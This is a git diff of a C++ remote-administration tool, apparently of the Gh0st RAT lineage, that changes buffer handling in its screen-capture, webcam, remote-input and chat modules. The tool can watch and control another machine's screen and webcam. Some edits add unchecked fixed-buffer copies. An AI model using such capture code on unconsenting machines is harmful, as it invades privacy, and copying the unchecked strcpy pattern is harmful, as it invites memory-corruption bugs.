diff --git a/ReadMe.txt b/ReadMe.txt index 1ef0cad..993353b 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -127,3 +127,9 @@ 4、当退出远程桌面窗口全屏状态时,不再向远程被控端发送F11。 5、发现在有线网络条件下主控端崩溃几率较小。 + +6、禁用主控端输入法,解决使用远程桌面在被控端输入时的麻烦问题。 + +2019.1.21 + +减少远程桌面new缓冲区的频率,将部分从堆上new固定内存的操作改用从栈上分配内存。 diff --git a/client/RegisterOperation.cpp b/client/RegisterOperation.cpp index 5648937..1e98924 100644 --- a/client/RegisterOperation.cpp +++ b/client/RegisterOperation.cpp @@ -86,7 +86,6 @@ char* RegisterOperation::FindPath() if(KeyCount>0&&KeySize>1){ int Size=sizeof(REGMSG)+1; - //buf=new char[KeyCnt*KeySize+size+1]; DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11] szBuffer=(char*)LocalAlloc(LPTR, DataSize); ZeroMemory(szBuffer,DataSize); diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 0d10fad..e936eb5 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -28,6 +28,8 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientO m_ScreenSpyObject = new CScreenSpy(16); + szBuffer = new char[4 * m_ScreenSpyObject->m_ulFullWidth * m_ScreenSpyObject->m_ulFullHeight]; + m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL); } @@ -64,8 +66,6 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) printf("SendScreen Span = %d ms\n", span); last = clock(); This->SendNextScreen(szBuffer, ulNextSendLength); - delete[] szBuffer; - szBuffer = NULL; } } timeEndPeriod(1); @@ -102,6 +102,11 @@ CScreenManager::~CScreenManager() delete[] m_ScreenSpyObject; m_ScreenSpyObject = NULL; + if(szBuffer) + { + delete [] szBuffer; + szBuffer = NULL; + } } VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) @@ -195,16 +200,12 @@ VOID CScreenManager::SendFirstScreen() } ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength(); - LPBYTE szBuffer = new BYTE[ulFirstSendLength]; szBuffer[0] = TOKEN_FIRSTSCREEN; memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1); m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength); - - delete [] szBuffer; - - szBuffer = NULL; + szBuffer[ulFirstSendLength] = 0; } const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength) @@ -218,10 +219,9 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength) ulNextSendLength += 1; - char* szBuffer = new char[ulNextSendLength]; - szBuffer[0] = TOKEN_NEXTSCREEN; memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1); + szBuffer[ulNextSendLength] = 0; return szBuffer; } diff --git a/client/ScreenManager.h b/client/ScreenManager.h index 320e07f..4992b5f 100644 --- a/client/ScreenManager.h +++ b/client/ScreenManager.h @@ -17,6 +17,7 @@ class IOCPClient; class CScreenManager : public CManager { public: + char* szBuffer; CScreenManager(IOCPClient* ClientObject, int n); virtual ~CScreenManager(); HANDLE m_hWorkThread; diff --git a/client/TestRun.vcxproj.user b/client/TestRun.vcxproj.user index 5c23ca4..9e8e47a 100644 --- a/client/TestRun.vcxproj.user +++ b/client/TestRun.vcxproj.user @@ -1,10 +1,10 @@  - D:\VM\Remoter\TestRun.exe - D:\VM\Remoter - 192.168.12.248 - D:\VM\Remoter + C:\VM\Remoter\TestRun.exe + C:\VM\Remoter + 192.168.43.2 + C:\VM\Remoter $(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb false WindowsRemoteDebugger diff --git a/client/VideoManager.cpp b/client/VideoManager.cpp index 88dd167..32f672d 100644 --- a/client/VideoManager.cpp +++ b/client/VideoManager.cpp @@ -83,25 +83,21 @@ void CVideoManager::Destroy() void CVideoManager::SendBitMapInfor() { - DWORD dwBytesLength = 1 + sizeof(BITMAPINFO); - LPBYTE szBuffer = new BYTE[dwBytesLength]; - if (szBuffer == NULL) - return; - - szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO; //+ ͷ + const int dwBytesLength = 1 + sizeof(BITMAPINFO); + BYTE szBuffer[dwBytesLength + 3] = { 0 }; + szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO; memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO)); - m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength); - delete [] szBuffer; + m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength); } void CVideoManager::SendNextScreen() { DWORD dwBmpImageSize=0; - LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize); //m_pVideoCap->GetDIB(); + LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize); // token + IsCompress + m_fccHandler + DIB int nHeadLen = 1 + 1 + 4; - UINT nBufferLen = nHeadLen + dwBmpImageSize;//m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage; + UINT nBufferLen = nHeadLen + dwBmpImageSize; LPBYTE lpBuffer = new BYTE[nBufferLen]; lpBuffer[0] = TOKEN_WEBCAM_DIB; diff --git a/client/ghost.vcxproj.user b/client/ghost.vcxproj.user index abe2fa0..e23900c 100644 --- a/client/ghost.vcxproj.user +++ b/client/ghost.vcxproj.user @@ -2,7 +2,7 @@ WindowsLocalDebugger - 192.168.12.250 2356 + 192.168.104.250 2356 WindowsLocalDebugger diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index f8ac277..33f3068 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -5,6 +5,7 @@ #include "2015Remote.h" #include "ScreenSpyDlg.h" #include "afxdialogex.h" +#include // CScreenSpyDlg Ի @@ -28,6 +29,7 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog) CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject) : CDialog(CScreenSpyDlg::IDD, Parent) { + ImmDisableIME(0);// 뷨 m_bFullScreen = FALSE; m_iocpServer = IOCPServer; @@ -415,7 +417,7 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg) case WM_SYSKEYDOWN: case WM_SYSKEYUP: if (pMsg->wParam == VK_F11 && LeaveFullScreen()) // F11: ˳ȫ - return true; + return TRUE; if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN) { MSG Msg; @@ -426,7 +428,7 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg) SendCommand(&Msg); } if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE) - return true;// EnterESCرնԻ + return TRUE;// EnterESCرնԻ break; } @@ -439,12 +441,12 @@ VOID CScreenSpyDlg::SendCommand(MSG* Msg) if (!m_bIsCtrl) return; - LPBYTE szData = new BYTE[sizeof(MSG) + 1]; + const int length = sizeof(MSG) + 1; + BYTE szData[length + 3]; szData[0] = COMMAND_SCREEN_CONTROL; memcpy(szData + 1, Msg, sizeof(MSG)); - m_iocpServer->OnClientPreSending(m_ContextObject, szData, sizeof(MSG) + 1); - - delete[] szData; + szData[length] = 0; + m_iocpServer->OnClientPreSending(m_ContextObject, szData, length); } BOOL CScreenSpyDlg::SaveSnapshot(void) diff --git a/server/2015Remote/TalkDlg.cpp b/server/2015Remote/TalkDlg.cpp index f42e1fa..84c4498 100644 --- a/server/2015Remote/TalkDlg.cpp +++ b/server/2015Remote/TalkDlg.cpp @@ -25,6 +25,7 @@ void CTalkDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); DDX_Control(pDX, IDC_EDIT_TALK, m_EditTalk); + m_EditTalk.SetLimitText(2048); } @@ -63,15 +64,12 @@ void CTalkDlg::OnBnClickedButtonTalk() CString strData; m_EditTalk.GetWindowText(strData); //EditBox ϻ - char* szBuffer = new char[iLength + 1]; // 2019.1.5 1 - memset(szBuffer,0,sizeof(char)*iLength); - + char szBuffer[4096] = {0}; strcpy(szBuffer,strData.GetBuffer(0)); m_EditTalk.SetWindowText(NULL); //EditBox ϵ m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));//Լڴеݷ - delete [] szBuffer; }